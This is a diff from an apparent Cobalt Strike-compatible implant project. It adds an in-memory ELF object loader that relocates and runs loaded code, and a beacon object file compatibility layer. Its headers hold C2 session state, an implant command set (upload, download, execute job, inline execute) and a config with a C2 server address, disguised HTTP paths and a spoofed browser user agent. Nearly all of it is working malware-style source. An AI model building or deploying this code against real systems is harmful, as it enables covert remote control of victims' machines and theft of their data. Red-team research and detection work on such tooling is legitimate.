DEBUG_PRINT("\nWorking over section headers, Round 2, Count: %d\n", elfinfo.sectHeaderSize);
|
||||
for (counter = 0; counter < elfinfo.sectHeaderSize; counter++){
|
||||
DEBUG_PRINT("Section Header Entry Counter: %d\n", counter);
|
||||
#ifdef DEBUG
|
||||
char* sym = elfinfo.sectionStringTable + elfinfo.sectHeader[counter].sh_name;
|
||||
DEBUG_PRINT("\tName is %s\n", sym);
|
||||
#endif
|
||||
Elf_Rel* rel = (Elf_Rel*)(elfObjectData + elfinfo.sectHeader[counter].sh_offset);
|
||||
DEBUG_PRINT("\tType is 0x%x\n", elfinfo.sectHeader[counter].sh_type);
|
||||
DEBUG_PRINT("\tFlags are 0x%lx\n", elfinfo.sectHeader[counter].sh_flags);
|
||||
DEBUG_PRINT("\tAddr is 0x%lx\n", elfinfo.sectHeader[counter].sh_addr);
|
||||
DEBUG_PRINT("\tOffset is 0x%lx\n", elfinfo.sectHeader[counter].sh_offset);
|
||||
DEBUG_PRINT("\tSize is %ld\n", elfinfo.sectHeader[counter].sh_size);
|
||||
DEBUG_PRINT("\tLink is %d\n", elfinfo.sectHeader[counter].sh_link);
|
||||
DEBUG_PRINT("\tInfo is %d\n", elfinfo.sectHeader[counter].sh_info);
|
||||
DEBUG_PRINT("\tAddrAlign is %ld\n", elfinfo.sectHeader[counter].sh_addralign);
|
||||
DEBUG_PRINT("\tEntSize is %ld\n", elfinfo.sectHeader[counter].sh_entsize);
|
||||
/* Handle the relocations here */
|
||||
if (elfinfo.sectHeader[counter].sh_type == SHT_REL_TYPE){
|
||||
DEBUG_PRINT("\tRelocation Entries:\n");
|
||||
for (c2 = 0; c2 < elfinfo.sectHeader[counter].sh_size / sizeof(Elf_Rel); c2++){
|
||||
char* relocStr = elfinfo.stringTable + elfinfo.symbolTable[ELF_R_SYM(rel[c2].r_info)].st_name;
|
||||
char WorkingTrampoline[ThunkTrampolineSize];
|
||||
memcpy(WorkingTrampoline, ThunkTrampoline, ThunkTrampolineSize);
|
||||
DEBUG_PRINT("\t\tSymbol: %s\n", relocStr);
|
||||
DEBUG_PRINT("\t\tType: 0x%lx\n", ELF_R_TYPE(rel[c2].r_info));
|
||||
DEBUG_PRINT("\t\tSymbolValue: 0x%lx\n", elfinfo.symbolTable[ELF_R_SYM(rel[c2].r_info)].st_value);
|
||||
/* This is the section number where the relocation lives in at x + offset, if its 0 then its a symbol to get
|
||||
* so get the address, store the address, increase the symbol count, and then continue */
|
||||
DEBUG_PRINT("\t\tShndx: 0x%x\n", elfinfo.symbolTable[ELF_R_SYM(rel[c2].r_info)].st_shndx);
|
||||
if (elfinfo.symbolTable[ELF_R_SYM(rel[c2].r_info)].st_shndx == 0){
|
||||
/* This function is a function not defined in the object file, so if we can't resolve it then bail. */
|
||||
void* symaddress = NULL;
|
||||
int32_t relativeOffsetFunc = 0;
|
||||
symaddress = internalFunctionLookup(relocStr);
|
||||
/* TODO: Add an in process function lookup here too */
|
||||
if (symaddress == NULL){
|
||||
DEBUG_PRINT("Failed to find a function!!!!!\n");
|
||||
retcode = 6;
|
||||
goto errorcase;
|
||||
}
|
||||
DEBUG_PRINT("\t\tFound Function Address: %p\n", symaddress);
|
||||
/* Copy over the symaddress to the location of the trampoline */
|
||||
memcpy(WorkingTrampoline+THUNKOFFSET, &symaddress, sizeof(void*));
|
||||
/* Copy the trampoline bytes over to the tempOffsetTable so relocations work */
|
||||
DEBUG_PRINT("TempOffsetCounter: %d\n", elfinfo.tempOffsetCounter);
|
||||
memcpy(elfinfo.tempOffsetTable+(elfinfo.tempOffsetCounter*ThunkTrampolineSize), WorkingTrampoline, ThunkTrampolineSize);
|
||||
/* Calculate the relative offset of the function trampoline */
|
||||
/* The logic to handle x86_64 is different then x86, so ifdef'ing these out for now */
|
||||
#if defined(__amd64__) || defined(__x86_64__)
|
||||
relativeOffsetFunc = (elfinfo.tempOffsetTable + (elfinfo.tempOffsetCounter *ThunkTrampolineSize))-(elfinfo.sectionMappings[elfinfo.sectHeader[counter].sh_info]+rel[c2].r_offset)+rel[c2].r_addend;
|
||||
DEBUG_PRINT("\t\tRelativeOffsetFunc: 0x%x\n", relativeOffsetFunc);
|
||||
/* Copy over the relative offset to the trampoline table */
|
||||
memcpy(elfinfo.sectionMappings[elfinfo.sectHeader[counter].sh_info]+rel[c2].r_offset, &relativeOffsetFunc, 4);
|
||||
#elif defined(__i386__)
|
||||
/* Need to correct this for x86 and 32 bit arm targets, think its good now. */
|
||||
memcpy(&relativeOffsetFunc, elfinfo.sectionMappings[elfinfo.sectHeader[counter].sh_info]+rel[c2].r_offset, 4);
|
||||
relativeOffsetFunc += (elfinfo.tempOffsetTable + (elfinfo.tempOffsetCounter *ThunkTrampolineSize))-(elfinfo.sectionMappings[elfinfo.sectHeader[counter].sh_info]+rel[c2].r_offset);
|
||||
memcpy(elfinfo.sectionMappings[elfinfo.sectHeader[counter].sh_info]+rel[c2].r_offset, &relativeOffsetFunc, 4);
|
||||
#else
|
||||
DEBUG_PRINT("ERROR: Not configured for this architecture\n");
|
||||
#endif
|
||||
/* Once set increment the Thunk Trampoline counter to the next one */
|
||||
elfinfo.tempOffsetCounter+=1;
|
||||
|
||||
}
|
||||
else if (elfinfo.sectHeader[counter].sh_flags== 0x40){
|
||||
/* Handle the relocations for values and functions included in the object file */
|
||||
/* NOTE: If sh_flags == 0x40, then sh_info contains the section the relocation applies too */
|
||||
#if defined(__amd64__) || defined(__x86_64__)
|
||||
int32_t relativeOffset = (elfinfo.sectionMappings[elfinfo.symbolTable[ELF_R_SYM(rel[c2].r_info)].st_shndx])-(elfinfo.sectionMappings[elfinfo.sectHeader[counter].sh_info]+rel[c2].r_offset)+rel[c2].r_addend + elfinfo.symbolTable[ELF_R_SYM(rel[c2].r_info)].st_value;
|
||||
#elif defined(__i386__)
|
||||
int32_t relativeOffset = 0;
|
||||
if (ELF_R_TYPE(rel[c2].r_info) == R_386_32){
|
||||
DEBUG_PRINT("\t\t32bit Direct\n");
|
||||
memcpy(&relativeOffset, elfinfo.sectionMappings[elfinfo.sectHeader[counter].sh_info]+rel[c2].r_offset, 4);
|
||||
//relativeOffset = (elfinfo.sectionMappings[elfinfo.symbolTable[ELF_R_SYM(rel[c2].r_info)].st_shndx])-(elfinfo.sectionMappings[elfinfo.sectHeader[counter].sh_info]+rel[c2].r_offset)+relativeOffset + elfinfo.symbolTable[ELF_R_SYM(rel[c2].r_info)].st_value;
|
||||
relativeOffset += elfinfo.symbolTable[ELF_R_SYM(rel[c2].r_info)].st_value;
|
||||
relativeOffset += (int32_t)(elfinfo.sectionMappings[elfinfo.symbolTable[ELF_R_SYM(rel[c2].r_info)].st_shndx]);
|
||||
}
|
||||
else if (ELF_R_TYPE(rel[c2].r_info) == R_386_PC32){
|
||||
DEBUG_PRINT("\t\tPC relative Address\n");
|
||||
memcpy(&relativeOffset, elfinfo.sectionMappings[elfinfo.sectHeader[counter].sh_info]+rel[c2].r_offset, 4);
|
||||
relativeOffset = (elfinfo.sectionMappings[elfinfo.symbolTable[ELF_R_SYM(rel[c2].r_info)].st_shndx])-(elfinfo.sectionMappings[elfinfo.sectHeader[counter].sh_info]+rel[c2].r_offset)+relativeOffset + elfinfo.symbolTable[ELF_R_SYM(rel[c2].r_info)].st_value;
|
||||
}
|
||||
#else
|
||||
int32_t relativeOffset = 0;
|
||||
#endif
|
||||
DEBUG_PRINT("\t\tFirstAddress(NoAddend): %p\n", (elfinfo.sectionMappings[elfinfo.symbolTable[ELF_R_SYM(rel[c2].r_info)].st_shndx]));
|
||||
|
||||
#if defined(__amd64__) || defined(__x86_64__)
|
||||
DEBUG_PRINT("\t\tFirstAddress: %p\n", (elfinfo.sectionMappings[elfinfo.symbolTable[ELF_R_SYM(rel[c2].r_info)].st_shndx]+rel[c2].r_addend));
|
||||
#endif
|
||||
DEBUG_PRINT("\t\tSecondAddress(NoOffset): %p\n", (elfinfo.sectionMappings[elfinfo.sectHeader[counter].sh_info]));
|
||||
DEBUG_PRINT("\t\tSecondAddress: %p\n", (elfinfo.sectionMappings[elfinfo.sectHeader[counter].sh_info]+rel[c2].r_offset));
|
||||
DEBUG_PRINT("\t\tRelativeOffset: 0x%x\n", relativeOffset);
|
||||
/* Copy over the relative offset of the value to the section+offset */
|
||||
memcpy(elfinfo.sectionMappings[elfinfo.sectHeader[counter].sh_info]+rel[c2].r_offset, &relativeOffset, 4);
|
||||
}
|
||||
DEBUG_PRINT("\t\tInfo: 0x%lx\n", rel[c2].r_info);
|
||||
DEBUG_PRINT("\t\tOffset: 0x%lx\n", rel[c2].r_offset);
|
||||
#if defined(__amd64__) || defined(__x86_64__)
|
||||
DEBUG_PRINT("\t\tAddend: 0x%lx\n", rel[c2].r_addend);
|
||||
#endif
|
||||
DEBUG_PRINT("\t\t----------------------------------------------------------\n");
|
||||
}
|
||||
}
|
||||
|
||||
/* Handle the symbols here, get the entry points and all that */
|
||||
if (elfinfo.sectHeader[counter].sh_type == SHT_SYMTAB){
|
||||
for (c2 = 0; c2 < elfinfo.sectHeader[counter].sh_size / sizeof(Elf_Sym); c2 += 1){
|
||||
Elf_Sym* syms = (Elf_Sym*)(elfObjectData + elfinfo.sectHeader[counter].sh_offset);
|
||||
//DEBUG_PRINT("\t\t0x%x\n", syms[c2].st_name);
|
||||
DEBUG_PRINT("\t\tSymbolName: %s\n", elfinfo.stringTable + syms[c2].st_name);
|
||||
if (strcmp(functionName, elfinfo.stringTable + syms[c2].st_name) == 0){
|
||||
DEBUG_PRINT("\t\t\tFOUND GO!\n");
|
||||
ptr = (int (*)(unsigned char *, int))elfinfo.sectionMappings[syms[c2].st_shndx] + syms[c2].st_value;
|
||||
}
|
||||
DEBUG_PRINT("\t\tSymbolSectionIndex: %d\n", syms[c2].st_shndx);
|
||||
if (elfinfo.sectionMappings != NULL && syms[c2].st_shndx < elfinfo.sectHeaderSize && syms[c2].st_shndx != 0){
|
||||
DEBUG_PRINT("\t\tSymbolAddress(real): %p\n", elfinfo.sectionMappings[syms[c2].st_shndx] + syms[c2].st_value);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
DEBUG_PRINT("TempOffsetTable: %p\n", elfinfo.tempOffsetTable);
|
||||
#ifdef WIN32
|
||||
DEBUG_PRINT("Skipping mprotect code for windows, already executable.\n");
|
||||
#else
|
||||
if (mprotect(elfinfo.tempOffsetTable, 255*ThunkTrampolineSize, PROT_READ | PROT_EXEC) != 0){
|
||||
DEBUG_PRINT("Failed to mprotect the thunk table\n");
|
||||
}
|
||||
#endif
|
||||
/* TODO: Set all the permissions of the sectionMappings, sectionMappingProts, and tempOffsetTable */
|
||||
for (counter = 0; counter < elfinfo.sectHeaderSize; counter++){
|
||||
DEBUG_PRINT("Section #%d mapped at %p\n", counter, elfinfo.sectionMappings[counter]);
|
||||
if (elfinfo.sectionMappings[counter] != NULL){
|
||||
#ifdef WIN32
|
||||
DEBUG_PRINT("Not doing mprotect for windows, already executable.\n");
|
||||
#else
|
||||
if (mprotect(elfinfo.sectionMappings[counter], elfinfo.sectHeader[counter].sh_size, elfinfo.sectionMappingProts[counter]) != 0){
|
||||
DEBUG_PRINT("Failed to protect memory\n");
|
||||
}
|
||||
#endif
|
||||
}
|
||||
}
|
||||
DEBUG_PRINT("Trying to run ptr......\n");
|
||||
/* NOTE: Change this to pass in arguments for ones that use it */
|
||||
(void)ptr(argumentdata, argumentSize);
|
||||
DEBUG_PRINT("Returned from ptr\n");
|
||||
|
||||
cleanup:
|
||||
DEBUG_PRINT("Cleaning up...\n");
|
||||
for (counter = 0; counter < elfinfo.sectHeaderSize; counter++){
|
||||
DEBUG_PRINT("Freeing Section #%d\n", counter);
|
||||
if (elfinfo.sectionMappings != NULL){
|
||||
if (elfinfo.sectionMappings[counter] != NULL){
|
||||
#ifdef WIN32
|
||||
VirtualFree(elfinfo.sectionMappings[counter], 0, MEM_RELEASE);
|
||||
#else
|
||||
if (munmap(elfinfo.sectionMappings[counter], elfinfo.sectHeader[counter].sh_size) != 0){
|
||||
DEBUG_PRINT("Failed to unmap memory\n");
|
||||
}
|
||||
#endif
|
||||
}
|
||||
}
|
||||
}
|
||||
if (elfinfo.tempOffsetTable){
|
||||
#ifdef WIN32
|
||||
VirtualFree(elfinfo.tempOffsetTable, 0, MEM_RELEASE);
|
||||
#else
|
||||
munmap(elfinfo.tempOffsetTable, 255*ThunkTrampolineSize);
|
||||
#endif
|
||||
}
|
||||
if (elfinfo.sectionMappings){
|
||||
free(elfinfo.sectionMappings);
|
||||
}
|
||||
if (elfinfo.sectionMappingProts){
|
||||
free(elfinfo.sectionMappingProts);
|
||||
}
|
||||
|
||||
goto retlab;
|
||||
|
||||
retlab:
|
||||
DEBUG_PRINT("Returning\n");
|
||||
return retcode;
|
||||
|
||||
errorcase:
|
||||
DEBUG_PRINT("ERRORCASE!!!!\n");
|
||||
goto cleanup;
|
||||
#else
|
||||
return -1;
|
||||
#endif /* Wrapper ifdef for supported arch's */
|
||||
}
|
||||
@@ -0,0 +1,357 @@
|
||||
/*
|
||||
* Cobalt Strike 4.X BOF compatibility layer
|
||||
* -----------------------------------------
|
||||
* The whole point of these files are to allow beacon object files built for CS
|
||||
* to run fine inside of other tools without recompiling.
|
||||
*
|
||||
* Built off of the beacon.h file provided to build for CS.
|
||||
*/
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <stdarg.h>
|
||||
#include <string.h>
|
||||
#include <sys/mman.h>
|
||||
#include <dlfcn.h>
|
||||
#include "debug.h"
|
||||
|
||||
#include "beacon_compatibility.h"
|
||||
|
||||
#define X86PATH "System32"
|
||||
#define X64PATH "sysnative"
|
||||
#if defined(__APPLE__) || defined(__FreeBSD__) || defined(__OpenBSD__)
|
||||
#define INTERNAL_DEFAULT_LIBRARY ((void*) -2)
|
||||
#else
|
||||
#define INTERNAL_DEFAULT_LIBRARY NULL
|
||||
#endif
|
||||
|
||||
extern char** environ;
|
||||
|
||||
/* Data Parsing */
|
||||
|
||||
beacon_function_t BeaconInternalMapping[18] = {
|
||||
{"BeaconDataParse", (void*)BeaconDataParse},
|
||||
{"BeaconDataInt", (void*)BeaconDataInt},
|
||||
{"BeaconDataShort", (void*)BeaconDataShort},
|
||||
{"BeaconDataLength", (void*)BeaconDataLength},
|
||||
{"BeaconDataExtract", (void*)BeaconDataExtract},
|
||||
{"BeaconFormatAlloc", (void*)BeaconFormatAlloc},
|
||||
{"BeaconFormatReset", (void*)BeaconFormatReset},
|
||||
{"BeaconFormatFree", (void*)BeaconFormatFree},
|
||||
{"BeaconFormatAppend", (void*)BeaconFormatAppend},
|
||||
{"BeaconFormatPrintf", (void*)BeaconFormatPrintf},
|
||||
{"BeaconFormatToString", (void*)BeaconFormatToString},
|
||||
{"BeaconFormatInt", (void*)BeaconFormatInt},
|
||||
{"BeaconPrintf", (void*)BeaconPrintf},
|
||||
{"BeaconOutput", (void*)BeaconOutput},
|
||||
{"BeaconIsAdmin", (void*)BeaconIsAdmin},
|
||||
{"getEnviron", (void*)getEnviron},
|
||||
{"getOSName", (void*)getOSName}
|
||||
};
|
||||
|
||||
|
||||
char** getEnviron(void){
|
||||
return environ;
|
||||
}
|
||||
|
||||
char* getOSName(void){
|
||||
#ifdef __APPLE__
|
||||
return "apple";
|
||||
#elif __FreeBSD__
|
||||
return "freebsd";
|
||||
#elif __OpenBSD__
|
||||
return "openbsd";
|
||||
#elif __linux__
|
||||
return "lin";
|
||||
#else
|
||||
return "unk";
|
||||
#endif
|
||||
}
|
||||
|
||||
#ifdef _WIN32
|
||||
/* A hacky compatible dlsym function for use on windows systems.
|
||||
* TODO: Implement a internal function lookup function for all OS's that
|
||||
* will lookup internal functions, and global functions.*/
|
||||
void *dlsym(void *handle, const char *symbol){
|
||||
static HMODULE DefaultHandle = NULL;
|
||||
void* PointerValue = NULL;
|
||||
if (handle == INTERNAL_DEFAULT_LIBRARY && DefaultHandle == NULL){
|
||||
DefaultHandle = LoadLibraryA("msvcrt.dll");
|
||||
}
|
||||
if (DefaultHandle != NULL){
|
||||
PointerValue = GetProcAddress(DefaultHandle, symbol);
|
||||
}
|
||||
return PointerValue;
|
||||
}
|
||||
#endif
|
||||
|
||||
|
||||
void* internalFunctionLookup(char* symbolName){
|
||||
void* functionaddress = NULL;
|
||||
int tempcounter = 0;
|
||||
for (tempcounter = 0; tempcounter < BEACONINTERNALMAPPINGCOUNT; tempcounter++){
|
||||
if (strcmp(symbolName, BeaconInternalMapping[tempcounter].functionName) == 0){
|
||||
#ifdef DEBUG
|
||||
printf("\t\tInternalFunction: %s\n", symbolName);
|
||||
#endif
|
||||
functionaddress = BeaconInternalMapping[tempcounter].function;
|
||||
return functionaddress;
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
If not an internal function, then its an external one
|
||||
This will fail if the loaded BOF uses lib$function naming convention
|
||||
*/
|
||||
if (functionaddress == NULL){
|
||||
functionaddress = dlsym(INTERNAL_DEFAULT_LIBRARY, symbolName);
|
||||
}
|
||||
|
||||
/* Added this to support using lib$function naming convention */
|
||||
if (functionaddress == NULL)
|
||||
{
|
||||
char* locallib = strtok(symbolName, "$");
|
||||
DEBUG_PRINT("Target library: %s\n", locallib);
|
||||
|
||||
char libname[1024] = { 0 };
|
||||
strcat(libname, locallib);
|
||||
strcat(libname, ".so");
|
||||
DEBUG_PRINT("Full Target Library: %s\n", libname);
|
||||
|
||||
char* localfunc = strtok(NULL, "$");
|
||||
localfunc = strtok(localfunc, "@");
|
||||
DEBUG_PRINT("Target function: %s\n", localfunc);
|
||||
|
||||
/* Resolve the symbols here, and set the functionpointervalue */
|
||||
void* llHandle = dlopen(libname, RTLD_NOW);
|
||||
DEBUG_PRINT("Library address: %p\n", llHandle);
|
||||
|
||||
functionaddress = dlsym(RTLD_DEFAULT, localfunc);
|
||||
DEBUG_PRINT("functionaddress: %p\n", functionaddress);
|
||||
DEBUG_PRINT("\n");
|
||||
}
|
||||
|
||||
return functionaddress;
|
||||
}
|
||||
|
||||
|
||||
uint32_t swap_endianess(uint32_t indata){
|
||||
uint32_t testint = 0xaabbccdd;
|
||||
uint32_t outint = indata;
|
||||
if (((unsigned char*)&testint)[0] == 0xdd){
|
||||
((unsigned char*)&outint)[0] = ((unsigned char*)&indata)[3];
|
||||
((unsigned char*)&outint)[1] = ((unsigned char*)&indata)[2];
|
||||
((unsigned char*)&outint)[2] = ((unsigned char*)&indata)[1];
|
||||
((unsigned char*)&outint)[3] = ((unsigned char*)&indata)[0];
|
||||
}
|
||||
return outint;
|
||||
}
|
||||
|
||||
char* beacon_compatibility_output = NULL;
|
||||
int beacon_compatibility_size = 0;
|
||||
int beacon_compatibility_offset = 0;
|
||||
|
||||
void BeaconDataParse(datap* parser, char* buffer, int size){
|
||||
if (parser == NULL){
|
||||
return;
|
||||
}
|
||||
parser->original = buffer;
|
||||
parser->buffer = buffer;
|
||||
parser->length = size-4;
|
||||
parser->size = size-4;
|
||||
parser->buffer += 4;
|
||||
return;
|
||||
}
|
||||
|
||||
int BeaconDataInt(datap* parser){
|
||||
int32_t fourbyteint = 0;
|
||||
if (parser->length < 4){
|
||||
return 0;
|
||||
}
|
||||
memcpy(&fourbyteint, parser->buffer, 4);
|
||||
parser->buffer += 4;
|
||||
parser->length -= 4;
|
||||
return (int)fourbyteint;
|
||||
}
|
||||
|
||||
short BeaconDataShort(datap* parser){
|
||||
int16_t retvalue = 0;
|
||||
if (parser->length < 2){
|
||||
return 0;
|
||||
}
|
||||
memcpy(&retvalue, parser->buffer, 2);
|
||||
parser->buffer += 2;
|
||||
parser->length -= 2;
|
||||
return (short)retvalue;
|
||||
}
|
||||
|
||||
int BeaconDataLength(datap* parser){
|
||||
return parser->length;
|
||||
}
|
||||
|
||||
char* BeaconDataExtract(datap* parser, int* size){
|
||||
uint32_t length = 0;
|
||||
char* outdata = NULL;
|
||||
/*Length prefixed binary blob, going to assume uint32_t for this.*/
|
||||
if (parser->length < 4){
|
||||
return NULL;
|
||||
}
|
||||
memcpy(&length, parser->buffer, 4);
|
||||
parser->buffer += 4;
|
||||
|
||||
outdata = parser->buffer;
|
||||
if (outdata == NULL){
|
||||
return NULL;
|
||||
}
|
||||
parser->length -=4;
|
||||
parser->length -= length;
|
||||
parser->buffer += length;
|
||||
if (size != NULL && outdata != NULL){
|
||||
*size = length;
|
||||
}
|
||||
return outdata;
|
||||
}
|
||||
|
||||
/* format API */
|
||||
|
||||
void BeaconFormatAlloc(formatp* format, int maxsz){
|
||||
if (format == NULL){
|
||||
return;
|
||||
}
|
||||
format->original = calloc(maxsz, 1);
|
||||
format->buffer = format->original;
|
||||
format->length = 0;
|
||||
format->size = maxsz;
|
||||
return;
|
||||
}
|
||||
|
||||
void BeaconFormatReset(formatp* format){
|
||||
memset(format->original, 0, format->size);
|
||||
format->buffer = format->original;
|
||||
format->length = format->size;
|
||||
return;
|
||||
}
|
||||
|
||||
void BeaconFormatFree(formatp* format){
|
||||
if (format == NULL){
|
||||
return;
|
||||
}
|
||||
if (format->original){
|
||||
free(format->original);
|
||||
format->original = NULL;
|
||||
}
|
||||
format->buffer = NULL;
|
||||
format->length = 0;
|
||||
format->size = 0;
|
||||
return;
|
||||
}
|
||||
|
||||
void BeaconFormatAppend(formatp* format, char* text, int len){
|
||||
memcpy(format->buffer, text, len);
|
||||
format->buffer+= len;
|
||||
format->length+= len;
|
||||
return;
|
||||
}
|
||||
|
||||
void BeaconFormatPrintf(formatp* format, char* fmt, ...){
|
||||
/*Take format string, and sprintf it into here*/
|
||||
va_list args;
|
||||
int length = 0;
|
||||
|
||||
va_start (args, fmt);
|
||||
length = vsnprintf(NULL, 0, fmt, args);
|
||||
va_end(args);
|
||||
if (format->length + length > format->size){
|
||||
return;
|
||||
}
|
||||
|
||||
va_start (args, fmt);
|
||||
(void)vsnprintf(format->buffer, length, fmt, args);
|
||||
va_end(args);
|
||||
format->length += length;
|
||||
format->buffer+= length;
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
char* BeaconFormatToString(formatp* format, int* size){
|
||||
*size = format->length;
|
||||
return format->original;
|
||||
}
|
||||
|
||||
void BeaconFormatInt(formatp* format, int value){
|
||||
uint32_t indata = value;
|
||||
uint32_t outdata = 0;
|
||||
if (format->length + 4 > format->size){
|
||||
return;
|
||||
}
|
||||
outdata = swap_endianess(indata);
|
||||
memcpy(format->buffer, &outdata, 4);
|
||||
format->length += 4;
|
||||
format->buffer += 4;
|
||||
return;
|
||||
}
|
||||
/* Main output functions */
|
||||
|
||||
void BeaconPrintf(int type, char* fmt, ...){
|
||||
/* Change to maintain internal buffer, and return after done running. */
|
||||
int length = 0;
|
||||
char* tempptr = NULL;
|
||||
va_list args;
|
||||
#ifdef DEBUG
|
||||
va_start (args, fmt);
|
||||
vprintf(fmt, args);
|
||||
va_end(args);
|
||||
#endif
|
||||
|
||||
va_start (args, fmt);
|
||||
length = vsnprintf(NULL, 0, fmt, args)+1;
|
||||
va_end(args);
|
||||
tempptr = realloc(beacon_compatibility_output, beacon_compatibility_size+length+1);
|
||||
if (tempptr == NULL){
|
||||
return;
|
||||
}
|
||||
beacon_compatibility_output = tempptr;
|
||||
memset(beacon_compatibility_output+beacon_compatibility_offset, 0, length+1);
|
||||
va_start (args, fmt);
|
||||
length = vsnprintf(beacon_compatibility_output+beacon_compatibility_offset, length, fmt, args);
|
||||
beacon_compatibility_size+=length;
|
||||
beacon_compatibility_offset+=length;
|
||||
va_end(args);
|
||||
return;
|
||||
}
|
||||
|
||||
void BeaconOutput(int type, char* data, int len){
|
||||
char* tempptr = NULL;
|
||||
tempptr = realloc(beacon_compatibility_output, beacon_compatibility_size+len+1);
|
||||
beacon_compatibility_output = tempptr;
|
||||
if (tempptr == NULL){
|
||||
return;
|
||||
}
|
||||
memset(beacon_compatibility_output+beacon_compatibility_offset, 0, len+1);
|
||||
memcpy(beacon_compatibility_output+beacon_compatibility_offset, data, len);
|
||||
beacon_compatibility_size+=len;
|
||||
beacon_compatibility_offset+=len;
|
||||
return;
|
||||
}
|
||||
|
||||
int BeaconIsAdmin(void){
|
||||
/* Leaving this to be implemented by people needing it */
|
||||
#ifdef DEBUG
|
||||
printf("BeaconIsAdmin Called\n");
|
||||
#endif
|
||||
return 0;
|
||||
}
|
||||
|
||||
#ifdef LIBRARY
|
||||
__attribute__ ((visibility ("default")))
|
||||
#endif
|
||||
char* BeaconGetOutputData(int *outsize){
|
||||
char* outdata = beacon_compatibility_output;
|
||||
*outsize = beacon_compatibility_size;
|
||||
beacon_compatibility_output = NULL;
|
||||
beacon_compatibility_size = 0;
|
||||
beacon_compatibility_offset = 0;
|
||||
return outdata;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,41 @@
|
||||
#ifndef BEACON_H
|
||||
#define BEACON_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
|
||||
// Beacon state
|
||||
typedef struct {
|
||||
char session_key[16]; // Raw session key (sent in metadata)
|
||||
uint8_t aes_key[16]; // Derived AES key (SHA256 of session_key, first 16 bytes)
|
||||
uint8_t hmac_key[16]; // Derived HMAC key (SHA256 of session_key, next 16 bytes)
|
||||
uint8_t aes_iv[16]; // AES IV (fixed: "abcdefghijklmnop")
|
||||
uint32_t agent_id; // Unique agent identifier
|
||||
|
||||
// Dual-counter system for C2 communication:
|
||||
// The CS C2 protocol uses two different "counter" mechanisms for each direction of communication.
|
||||
uint32_t last_server_time; // For server->client: Stores the last 'timestamp' received from the server. Used to validate incoming tasks.
|
||||
uint32_t upload_counter; // For client->server: A simple incrementing counter for callbacks sent to the server.
|
||||
|
||||
int connected; // Connection status
|
||||
char *pending_tasks; // Tasks from server
|
||||
size_t tasks_len; // Length of tasks
|
||||
char *output_buffer; // Queued output to send
|
||||
size_t output_len; // Length of queued output
|
||||
} beacon_state_t;
|
||||
|
||||
// Function declarations
|
||||
int beacon_init(beacon_state_t *state);
|
||||
int beacon_checkin(beacon_state_t *state);
|
||||
int beacon_send_output(beacon_state_t *state, const char *output, size_t len);
|
||||
void beacon_cleanup(beacon_state_t *state);
|
||||
void beacon_sleep(void);
|
||||
|
||||
// Metadata generation - updated signature
|
||||
uint8_t* beacon_generate_metadata(beacon_state_t *state, size_t *out_len);
|
||||
|
||||
// Task decryption
|
||||
int beacon_decrypt_tasks(beacon_state_t *state, const uint8_t *ciphertext, size_t ciphertext_len,
|
||||
uint8_t **plaintext_out, size_t *plaintext_len_out);
|
||||
|
||||
#endif // BEACON_H
|
||||
@@ -0,0 +1,59 @@
|
||||
#ifndef COMMANDS_H
|
||||
#define COMMANDS_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
|
||||
// Command types
|
||||
|
||||
#define COMMAND_DIE 3
|
||||
#define COMMAND_SLEEP 4
|
||||
#define COMMAND_CD 5
|
||||
|
||||
#define COMMAND_UPLOAD 10
|
||||
#define COMMAND_DOWNLOAD 11
|
||||
|
||||
#define COMMAND_CONNECT 14
|
||||
#define COMMAND_SEND 15
|
||||
#define COMMAND_CLOSE 16
|
||||
#define COMMAND_LISTEN 17
|
||||
#define COMMAND_CANCEL_DOWNLOAD 19
|
||||
|
||||
#define COMMAND_PWD 39
|
||||
|
||||
#define COMMAND_FILE_LIST 53
|
||||
|
||||
#define COMMAND_UPLOAD_CONTINUE 67
|
||||
|
||||
#define COMMAND_EXECUTE_JOB 78
|
||||
|
||||
#define COMMAND_INLINE_EXECUTE_OBJECT 100
|
||||
|
||||
// Callback types
|
||||
#define CALLBACK_OUTPUT 0x00
|
||||
|
||||
#define CALLBACK_FILE 0x02
|
||||
|
||||
#define CALLBACK_CLOSE 0x04
|
||||
#define CALLBACK_READ 0x05
|
||||
#define CALLBACK_CONNECT 0x06
|
||||
|
||||
#define CALLBACK_FILE_WRITE 0x08
|
||||
#define CALLBACK_FILE_CLOSE 0x09
|
||||
|
||||
#define CALLBACK_PWD 0x13
|
||||
|
||||
#define CALLBACK_DEAD 0x1a
|
||||
|
||||
#define CALLBACK_ERROR 0x1f
|
||||
|
||||
// Execute commands received from server
|
||||
// Returns the callback type to use when sending output back to server
|
||||
int commands_execute(const uint8_t *task_data, size_t task_len, uint8_t **output, size_t *output_len, uint32_t *callback_type);
|
||||
|
||||
// Parse task buffer
|
||||
int commands_parse_tasks(const uint8_t *task_buffer, size_t task_len);
|
||||
|
||||
void send_output_to_server(const uint8_t *output, size_t output_len, uint32_t callback_type);
|
||||
|
||||
#endif // COMMANDS_H
|
||||
@@ -0,0 +1,30 @@
|
||||
#ifndef CONFIG_H
|
||||
#define CONFIG_H
|
||||
|
||||
// Cobalt Strike Team Server Configuration
|
||||
#define C2_SERVER "192.168.108.130"
|
||||
#define C2_PORT 80
|
||||
#define C2_USE_HTTPS 0
|
||||
|
||||
// HTTP URIs
|
||||
#define HTTP_GET_URI "/en_US/all.js"
|
||||
#define HTTP_POST_URI "/submit.php"
|
||||
|
||||
// User Agent
|
||||
#define USER_AGENT "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)"
|
||||
|
||||
// Common HTTP headers
|
||||
#define HTTP_ACCEPT_HEADER "Accept: */*"
|
||||
#define HTTP_CONNECTION_HEADER "Connection: Keep-Alive"
|
||||
#define HTTP_CACHE_CONTROL_HEADER "Cache-Control: no-cache"
|
||||
|
||||
// Beacon Configuration
|
||||
#define SLEEP_TIME 60000 // 60 seconds in milliseconds
|
||||
#define JITTER 0 // 0% jitter
|
||||
#define MAX_GET_SIZE 1048576 // 1MB
|
||||
|
||||
// Declared as extern - defined in beacon.c
|
||||
extern unsigned char BEACON_PUBLIC_KEY[256];
|
||||
